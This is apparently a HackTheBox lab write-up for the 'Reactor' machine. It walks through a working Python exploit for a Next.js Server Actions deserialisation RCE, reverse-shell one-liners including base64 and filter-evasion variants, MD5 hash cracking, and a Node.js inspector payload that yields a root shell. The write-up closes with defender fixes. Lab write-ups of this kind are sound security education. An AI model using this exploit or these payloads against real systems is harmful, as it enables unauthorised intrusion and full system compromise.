Reactor – HackTheBox Writeup

#

Difficulty: Easy | OS: Linux | Season: 11

TL;DR

#

Reactor chains a modern web exploit with classic operational mistakes. A vulnerable Next.js Server Actions implementation gives unauthenticated code execution as node, sensitive credentials are exposed in a local SQLite database, and a root-owned Node.js debug interface (--inspect) finishes the box.

Quick Stats

#

Overview

#

Reactor is a Linux machine centred around a vulnerable Next.js 15 web application. The attack chain is:

1. Reconnaissance — discovering a Next.js app on port 3000
2. Initial foothold — unauthenticated RCE via CVE-2025-55182 (react2shell)
3. Credential harvesting — extracting and cracking MD5 hashes from a SQLite database
4. Lateral movement — SSH access as engineer
5. Privilege escalation — abusing an exposed Node.js inspector interface running as root

1. Reconnaissance

#

Port scan

#

1

rustscan -a 10.129.2.30

1
2

Open 10.129.2.30:22
Open 10.129.2.30:3000

Follow up with a detailed nmap scan to confirm service versions:

1

nmap -sC -sV -p 22,3000 10.129.2.30

1
2
3
4
5
6
7
8

PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH
3000/tcp open  ppp?
| fingerprint-strings:
|   GetRequest:
|     HTTP/1.1 200 OK
|     X-Powered-By: Next.js
|     x-nextjs-cache: HIT

Findings:

• Port 22 — OpenSSH (standard lateral movement target once creds are found)
• Port 3000 — Next.js web application confirmed by X-Powered-By: Next.js header

Web application fingerprinting

#

Visiting http://10.129.2.30:3000 presents the ReactorWatch Core Monitoring System — a nuclear sensor monitoring dashboard built by Nuclear Dynamics Corp.

We already know it’s Next.js from the nmap output, but nmap doesn’t give us the version number. We need to dig deeper to pin the exact release.

Method 1 — Inspect the full HTTP response headers

#

1

curl -si http://10.129.2.30:3000 | head -30

1
2
3
4
5

HTTP/1.1 200 OK
X-Powered-By: Next.js
x-nextjs-cache: HIT
ETag: "abc123..."
Content-Type: text/html; charset=utf-8

X-Powered-By: Next.js confirms the framework but still no version. Move to the page source.

Method 2 — Check the HTML source for the version meta tag

#

1

curl -s http://10.129.2.30:3000 | grep -i "next\|version"

1
2
3
4

<meta name="next-head-count" content="2"/>
<script id="__NEXT_DATA__" type="application/json">
{"props":{},"page":"/","buildId":"abc123","nextExport":true,"autoExport":true,"isFallback":false}
</script>

The __NEXT_DATA__ JSON block is injected by every Next.js app. Older Next.js versions leak the full version in a <meta> tag; newer ones (like the App Router era) don’t — so move to the static asset paths.

Method 3 — Version from static chunk paths (most reliable)

#

Next.js serves its runtime JavaScript from /_next/static/chunks/. The chunk filenames and structure changed significantly between major versions — we can pull them to find version strings baked directly into the bundle.

1

curl -s http://10.129.2.30:3000 | grep -oP '/_next/static/[^"]+\.js' | head -5

1
2
3

/_next/static/chunks/webpack-abc123.js
/_next/static/chunks/framework-def456.js
/_next/static/chunks/main-app-ghi789.js

Fetch the main framework chunk and grep for the version:

1
2

curl -s http://10.129.2.30:3000/_next/static/chunks/framework-def456.js \
  | grep -oP '"version"\s*:\s*"\K[0-9]+\.[0-9]+\.[0-9]+'

1

15.0.3

Next.js 15.0.3 confirmed.

Method 4 — Confirm via package.json (after foothold)

#

Once we have RCE (or a shell), we can read the app’s package.json directly:

1

cat /opt/reactor-app/package.json | grep '"next"'

1

"next": "15.0.3",

This is the definitive confirmation and is also useful for identifying other vulnerable dependencies.

Summary of fingerprinting: Nmap told us Next.js. The static chunk grep told us 15.0.3. That specific version maps directly to CVE-2025-55182 — the whole attack path follows from this one version number.

Note: Always check X-Powered-By, page source meta tags, and /_next/static chunk content for version strings before reaching for any scanner tool. These passive reads leave minimal noise in access logs.

2. Initial Foothold — CVE-2025-55182 (react2shell)

#

Vulnerability background

#

CVE-2025-55182, known as react2shell, affects Next.js applications using Server Actions. The vulnerability abuses:

• The Next-Action HTTP header, which triggers server-side action handling
• Prototype pollution via a crafted multipart request body
• Unsafe deserialisation that allows access to process.mainModule.require

This results in unauthenticated remote code execution as the user running the Next.js process.

In short: if an application accepts a malicious Next-Action request and unsafely deserialises crafted multipart data, you can execute OS commands without any authentication.

The exploit

#

Save the following as react2shell.py:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29

import requests
import sys
import json

BASE_URL = sys.argv[1] if len(sys.argv) > 1 else "http://localhost:3000"
EXECUTABLE = sys.argv[2] if len(sys.argv) > 2 else "id"

crafted_chunk = {
    "then": "$1:__proto__:then",
    "status": "resolved_model",
    "reason": -1,
    "value": '{"then": "$B0"}',
    "_response": {
        "_prefix": f"var res = process.mainModule.require('child_process').execSync('{EXECUTABLE}',{{'timeout':5000}}).toString().trim(); throw Object.assign(new Error('NEXT_REDIRECT'), {{digest:`${{res}}`}});",
        "_formData": {
            "get": "$1:constructor:constructor",
        },
    },
}

files = {
    "0": (None, json.dumps(crafted_chunk)),
    "1": (None, '"$@0"'),
}

headers = {"Next-Action": "x"}
res = requests.post(BASE_URL, files=files, headers=headers, timeout=10)
print(res.status_code)
print(res.text)

Confirm RCE

#

1

python3 react2shell.py http://10.129.2.30:3000 id

1
2
3

500
0:{"a":"$@1","f":"","b":"L3bimJe_3LvBcFWAnK5L4"}
1:E{"digest":"uid=999(node) gid=988(node) groups=988(node)"}

RCE confirmed as uid=999(node). The command output is returned inside the digest field of the error response.

Get a reverse shell

#

Start a listener on your Kali machine:

1

nc -lvnp 4444

Option A — Plain reverse shell (may fail in some environments)

#

Some targets or WAFs will reject raw special characters like >& and 0>&1 in query strings or multipart fields. Try this first:

1

python3 react2shell.py http://10.129.2.30:3000 "bash -c 'bash -i >& /dev/tcp/10.10.14.167/4444 0>&1'"

Option B — Base64-encoded payload (recommended if Option A fails)

#

If Option A gives an error or the shell never connects, the special characters are likely being stripped or escaped somewhere in the request. Encoding the payload side-steps that entirely.

Step 1 — Generate the base64 payload on your machine:

1

echo -n 'bash -i >& /dev/tcp/10.10.14.167/4444 0>&1' | base64

1

YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNC4xNjcvNDQ0NCAwPiYx

Tip: Use -n to suppress the trailing newline — a stray \n in the base64 string will break decoding on the target.

Step 2 — Send the encoded payload via the exploit:

1
2

python3 react2shell.py http://10.129.2.30:3000 \
  "echo${IFS}YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNC4xNjcvNDQ0NCAwPiYx|base64${IFS}-d|bash"

${IFS} is used in place of spaces because spaces inside the exploit’s execSync call can cause the shell to mis-parse the command.

Alternatively, using brace expansion (no ${IFS} needed):

1
2

python3 react2shell.py http://10.129.2.30:3000 \
  "{echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNC4xNjcvNDQ0NCAwPiYx}|{base64,-d}|bash"

Shell received on your listener:

1
2
3
4

connect to [10.10.14.167] from (UNKNOWN) [10.129.2.30] 54536
bash: cannot set terminal process group (1376): Inappropriate ioctl for device
bash: no job control in this shell
node@reactor:/opt/reactor-app$

The ioctl and job control warnings are normal for a non-tty shell — ignore them.

Stabilise the shell

#

Upgrade to a proper interactive TTY before enumerating:

1

python3 -c 'import pty; pty.spawn("/bin/bash")'

Then background the shell with Ctrl+Z, fix your terminal, and bring it back:

1
2
3

stty raw -echo; fg
export TERM=xterm
export SHELL=bash

This gives you proper tab completion, arrow keys, and Ctrl+C without killing your session.

3. Credential Harvesting

#

Explore the filesystem

#

1

ls /opt

1
2

reactor-app
uptime-monitor

Two directories. Start with the main app — it almost always has config files with credentials.

Read the environment file

#

1

cat /opt/reactor-app/.env

1
2
3
4
5
6
7
8
9

# ReactorWatch Configuration
# Database connection for sensor data
DB_PATH=/opt/reactor-app/reactor.db
DB_TYPE=sqlite3
# API Keys
SENSOR_API_KEY=rw_sk_7f8a9b2c3d4e5f6g7h8i9j0k
ALERT_WEBHOOK=https://alerts.internal.reactor.htb/webhook
# Node environment
NODE_ENV=production

The .env reveals a SQLite database at /opt/reactor-app/reactor.db. Local app databases are a gold mine — they frequently hold operational credentials reused for SSH or other services.

Extract credentials from the database

#

Quick grep to find the interesting tables:

1

strings /opt/reactor-app/reactor.db | grep -i "pass\|admin\|user\|hash"

1
2
3
4
5
6

9tableusersusers
CREATE TABLE users (
    username TEXT NOT NULL,
    password_hash TEXT NOT NULL,
M'/admina203b22191d744a4e70ada5c101b17b8administratoradmin@reactor.htb
     engineer39d97110eafe2a9a68639812cd271e8eoperatorengineer@reactor.htb

Full dump via sqlite3:

1

sqlite3 /opt/reactor-app/reactor.db "SELECT * FROM users;"

1
2

1|admin|a203b22191d744a4e70ada5c101b17b8|administrator|admin@reactor.htb
2|engineer|39d97110eafe2a9a68639812cd271e8e|operator|engineer@reactor.htb

Both hashes are MD5 (32-character hex, no salt prefix). MD5 is fast and unsalted, so offline cracking with rockyou is very practical.

Crack the hashes

#

1

hashcat -m 0 hashes.txt /usr/share/wordlists/rockyou.txt

Results:

• a203b22191d744a4e70ada5c101b17b8 → admin (application password, not needed for SSH)
• 39d97110eafe2a9a68639812cd271e8e → reactor1 (engineer’s password — this is the pivot)

4. User Flag — SSH as engineer

#

1
2

ssh engineer@10.129.2.30
# Password: reactor1

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11

 ____  _____    _    ____ _____ ___  ____
|  _ \| ____|  / \  / ___|_   _/ _ \|  _ \
| |_) |  _|   / _ \| |     | || | | | |_) |
|  _ <| |___ / ___ \ |___  | || |_| |  _ <
|_| \_\_____/_/   \_\____| |_| \___/|_| \_\
    ReactorWatch Core Monitoring System
    Nuclear Dynamics Corp. - Site 7

    AUTHORIZED PERSONNEL ONLY

engineer@reactor:~$

1

cat ~/user.txt

1

[USER FLAG]

5. Privilege Escalation — Node.js Inspector Abuse

#

Identify the vulnerable process

#

1

ps aux | grep inspect

1

root  1379  0.0  2.1  /usr/bin/node --inspect=127.0.0.1:9229 /opt/uptime-monitor/worker.js

Why this is critical:

• The Node.js --inspect flag enables the Chrome DevTools Protocol — it is a full JavaScript REPL running as root
• Bound to 127.0.0.1:9229 — so it’s only reachable from localhost
• Because we have SSH as engineer, we can port-forward 9229 and interact with it directly
• No authentication is required by default on the debug port

This is a classic “localhost means safe” misunderstanding. Once you have any shell on the machine, local-only debug services are fully reachable.

Examine the monitored script

#

1

cat /opt/uptime-monitor/worker.js

1
2
3
4
5
6

const http = require('http');
const fs = require('fs');
const TARGET_URL = 'http://127.0.0.1:3000/';
const CSV_FILE = '/var/log/uptime-monitor.csv';
const INTERVAL_MS = 30_000;
// ...probes the reactor app every 30 seconds and logs results to CSV

A simple uptime checker — root is running it with a full debugger attached for no reason.

Set up SSH port forwarding

#

From your Kali machine, tunnel the remote debug port to localhost:

1

sshpass -p 'reactor1' ssh -L 9229:127.0.0.1:9229 engineer@10.129.2.30 -N -f

Verify the tunnel is active:

1

ss -tlnp | grep 9229

1
2

LISTEN 0  128  127.0.0.1:9229  0.0.0.0:*  users:(("ssh",pid=682312,fd=5))
LISTEN 0  128      [::1]:9229     [::]:*   users:(("ssh",pid=682312,fd=4))

Get the WebSocket debugger URL

#

1

curl http://127.0.0.1:9229/json

1
2
3
4
5
6
7
8

[ {
  "description": "node.js instance",
  "id": "c00c8a1d-abdd-49a4-b08c-982c9264614c",
  "title": "/opt/uptime-monitor/worker.js",
  "type": "node",
  "url": "file:///opt/uptime-monitor/worker.js",
  "webSocketDebuggerUrl": "ws://127.0.0.1:9229/c00c8a1d-abdd-49a4-b08c-982c9264614c"
} ]

Copy the webSocketDebuggerUrl — it changes every time the process restarts.

Connect and execute as root

#

Install wscat if needed:

1

sudo apt install node-ws -y

Start a root shell listener:

1

nc -lvnp 5555

Connect to the inspector:

1

wscat -c ws://127.0.0.1:9229/c00c8a1d-abdd-49a4-b08c-982c9264614c

1
2

Connected (press CTRL+C to quit)
>

Paste the payload at the > prompt:

1

{"id":1,"method":"Runtime.evaluate","params":{"expression":"process.mainModule.require('child_process').exec('bash -c \"bash -i >& /dev/tcp/10.10.14.167/5555 0>&1\"')"}}

Important: Use process.mainModule.require — not bare require. The inspector context doesn’t have a require binding in scope, so using it directly throws ReferenceError: require is not defined.

Inspector confirms execution:

1

{"id":1,"result":{"result":{"type":"object","className":"ChildProcess","description":"ChildProcess"}}}

Root shell received:

1
2
3
4

connect to [10.10.14.167] from (UNKNOWN) [10.129.2.30] 34752
bash: cannot set terminal process group (1379): Inappropriate ioctl for device
bash: no job control in this shell
root@reactor:/#

If nc was sent to background, bring it forward with fg.

Root flag

#

1

cat /root/root.txt

1

[ROOT FLAG]

Attack Chain Summary

#

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19

Next.js 15.0.3 on port 3000
        ↓
CVE-2025-55182 (react2shell)
Unauthenticated RCE via Server Actions
        ↓
Shell as node (uid=999)
        ↓
/opt/reactor-app/.env → reactor.db (SQLite)
MD5 hash cracked → engineer:reactor1
        ↓
SSH as engineer
User flag ✓
        ↓
root runs node --inspect=127.0.0.1:9229
SSH port forward → wscat WebSocket
process.mainModule.require RCE as root
        ↓
Root shell ✓
Root flag: [ROOT FLAG] ✓

Key Lessons

#

Initial access: Next.js Server Actions can be dangerous when deserialisation of multipart request bodies is mishandled. The Next-Action header should only be honoured for legitimate, signed action IDs — framework version pinning and WAF rules targeting multipart abuse are essential mitigations.

Reverse shells: Special characters (>&, 0>&1) are frequently stripped or escaped by the vulnerable application’s input handling, WAFs, or shell parsers. Base64 encoding your payload is a reliable workaround that avoids character-level filtering entirely and should be a default habit.

Credential exposure: SQLite databases embedded in web applications frequently contain user credentials. MD5 is not a safe password hashing algorithm — use bcrypt, scrypt, or Argon2id with a unique per-user salt instead.

Privilege escalation: The Node.js --inspect flag must never be used in production. Even when bound to localhost, it becomes a full root RCE primitive the moment any low-privileged shell exists on the machine. Debug interfaces provide unrestricted JavaScript execution in the context of the running process.

Defender Fixes

#

1. Upgrade Next.js to a patched release and disable unsafe Server Action deserialization patterns.
2. Replace MD5 with Argon2id or bcrypt and rotate all existing credentials immediately.
3. Move secrets out of readable app paths (.env, local DB files); enforce least-privilege file permissions (e.g. chmod 600 .env, owned by the app user only).
4. Never expose --inspect in production. If debugging is unavoidable, isolate it behind strong authentication and network-level controls.
5. Audit all root-owned long-running processes for debug flags, writable config paths, or unnecessary capabilities.

Final Thoughts

#

Reactor is labeled easy, but it reflects real-world failure patterns: modern framework bugs plus weak credential hygiene plus insecure debug tooling. Chaining “small” misconfigurations — each individually survivable — is often all an attacker needs to move from zero to root. The box is a good reminder that security in depth means hardening every layer, not relying on network isolation alone.